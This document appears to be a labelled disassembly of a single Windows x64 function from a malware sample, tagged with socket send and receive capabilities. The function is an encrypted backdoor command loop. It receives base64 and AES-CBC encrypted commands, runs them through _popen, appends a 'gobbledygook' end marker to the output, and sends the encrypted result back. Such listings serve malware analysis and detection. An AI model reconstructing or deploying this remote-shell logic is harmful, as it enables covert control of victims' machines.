Function at 0x6be02dd0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
mov eax, 0xde38
call fcn.6be04e90
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x9560]
mov r8d, 0x47d0
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x9160]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x4990]
mov r8d, 0x47d0
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [0x6be0a910]
mov eax, dword [rax]
cdqe
lea rdx, [rbp + 0x9560]
mov r9d, 0
mov r8d, 0x47d0
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0xdda0], eax
cmp dword [rbp + 0xdda0], 0
jg 0x6be02e9d
lea rax, [0x6be0a910]
mov eax, dword [rax]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x6be03385
lea rax, [rbp + 0x9560]
mov edx, 0x47d0
mov rcx, rax
call dbg.b64_decode
mov qword [rbp + 0xdd98], rax
lea rax, [rbp - 0x40]
lea r8, [0x6be06020]
lea rdx, section..data
mov rcx, rax
call dbg.AES_init_ctx_iv
mov rdx, qword [rbp + 0xdd98]
lea rax, [rbp - 0x40]
mov r8d, 0x47d0
mov rcx, rax
call dbg.AES_CBC_decrypt_buffer
mov rax, qword [rbp + 0xdd98]
mov qword [rbp + 0xdd90], rax
mov rax, qword [rbp + 0xdd90]
lea rdx, [0x6be072a0]
mov rcx, rax
call sym.strstr
mov qword [rbp + 0xdd88], rax
mov rax, qword [rbp + 0xdd88]
sub rax, qword [rbp + 0xdd90]
mov dword [rbp + 0xdd84], eax
mov eax, dword [rbp + 0xdd84]
mov rdx, rsp
mov rsi, rdx
movsxd rdx, eax
sub rdx, 1
mov qword [rbp + 0xdd78], rdx
movsxd rdx, eax
mov r12, rdx
mov r13d, 0
movsxd rdx, eax
mov r14, rdx
mov r15d, 0
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.6be04e90
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp + 0xdd70], rax
mov eax, dword [rbp + 0xdd84]
movsxd rdx, eax
mov rax, qword [rbp + 0xdd70]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xdda4], 0
jmp 0x6be02fdd
mov eax, dword [rbp + 0xdda4]
cdqe
mov rdx, qword [rbp + 0xdd90]
add rax, rdx
movzx eax, byte [rax]
mov rcx, qword [rbp + 0xdd70]
mov edx, dword [rbp + 0xdda4]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0xdda4], 1
mov eax, dword [rbp + 0xdda4]
cmp eax, dword [rbp + 0xdd84]
jl 0x6be02fae
mov rdx, qword [rbp + 0xdd70]
mov eax, dword [rbp + 0xdd84]
cdqe
mov byte [rdx + rax], 0
mov rax, qword [rbp + 0xdd70]
movzx edx, byte [str._rb]
movzx eax, byte [rax]
movzx edx, dl
movzx eax, al
sub edx, eax
mov eax, edx
test eax, eax
jne 0x6be03047
lea rax, [0x6be0a910]
mov eax, dword [rax]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0xdd70]
movzx edx, byte [0x6be072af]
movzx eax, byte [rax]
movzx edx, dl
movzx eax, al
sub edx, eax
mov eax, edx
test eax, eax
jne 0x6be0308b
lea rax, [0x6be0a910]
mov eax, dword [rax]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x6be03382
mov rax, qword [rbp + 0xdd70]
lea rdx, [0x6be072b1]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0xdd68], rax
jmp 0x6be030c4
lea rdx, [rbp + 0x9160]
lea rax, [rbp + 0x4990]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0xdd68]
lea rax, [rbp + 0x9160]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x6be030ae
mov rax, qword [rbp + 0xdd68]
mov rcx, rax
call sym.fclose
lea rax, [rbp + 0x4990]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x4990]
add rax, rdx
movabs rdi, 0x7964656c62626f67
mov qword [rax], rdi
mov dword [rax + 8], 0x6b6f6f67
mov byte [rax + 0xc], 0
lea rax, [rbp + 0x4990]
mov qword [rbp + 0xdd60], rax
mov rax, qword [rbp + 0xdd60]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0xdd5c], eax
mov eax, dword [rbp + 0xdd5c]
mov dword [rbp + 0xdda8], eax
mov eax, dword [rbp + 0xdd5c]
and eax, 0xf
test eax, eax
je 0x6be0319f
mov edx, dword [rbp + 0xdd5c]
mov eax, edx
sar eax, 0x1f
shr eax, 0x1c
add edx, eax
and edx, 0xf
sub edx, eax
mov eax, edx
mov edx, 0x10
sub edx, eax
mov eax, edx
add dword [rbp + 0xdda8], eax
mov ebx, dword [rbp + 0xdda8]
mov rax, rsp
mov rdi, rax
movsxd rax, ebx
sub rax, 1
mov qword [rbp + 0xdd50], rax
movsxd rax, ebx
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 0
movsxd rax, ebx
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 0
movsxd rax, ebx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.6be04e90
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp + 0xdd48], rax
mov eax, dword [rbp + 0xdda8]
movsxd rdx, eax
mov rax, qword [rbp + 0xdd48]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xddac], 0
jmp 0x6be0325a
mov eax, dword [rbp + 0xddac]
cdqe
mov rdx, qword [rbp + 0xdd60]
add rax, rdx
movzx eax, byte [rax]
mov ecx, eax
mov rdx, qword [rbp + 0xdd48]
mov eax, dword [rbp + 0xddac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xddac], 1
mov eax, dword [rbp + 0xddac]
cmp eax, dword [rbp + 0xdd5c]
jl 0x6be0322a
movsxd rdx, ebx
mov eax, dword [rbp + 0xdd5c]
cdqe
mov rcx, qword [rbp + 0xdd48]
mov r9d, 0x10
mov r8, rdx
mov rdx, rax
call dbg.pkcs7_padding_pad_buffer
mov dword [rbp + 0xdd44], eax
lea rax, [rbp + 0xc0]
lea r8, [0x6be06020]
lea rdx, section..data
mov rcx, rax
call dbg.AES_init_ctx_iv
mov eax, dword [rbp + 0xdda8]
movsxd rcx, eax
mov rdx, qword [rbp + 0xdd48]
lea rax, [rbp + 0xc0]
mov r8, rcx
mov rcx, rax
call dbg.AES_CBC_encrypt_buffer
lea rax, [rbp + 0x1c0]
mov r8d, 0x47d0
mov edx, 0
mov rcx, rax
call sym.memset
movsxd rax, ebx
mov rcx, qword [rbp + 0xdd48]
mov rdx, rax
call dbg.b64_encode
mov qword [rbp + 0xdd38], rax
mov rdx, qword [rbp + 0xdd38]
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.strcpy
lea rax, [0x6be0a910]
mov eax, dword [rax]
cdqe
lea rdx, [rbp + 0x1c0]
mov r9d, 0
mov r8d, 0x47d0
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp + 0xdd34], eax
cmp dword [rbp + 0xdd34], 0
jns 0x6be03377
lea rax, [0x6be0a910]
mov eax, dword [rax]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov rsp, rdi
jmp 0x6be03382
mov rsp, rdi
mov rsp, rsi
jmp 0x6be02df1
mov rsp, rsi
lea rsp, [rbp + 0xddb8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret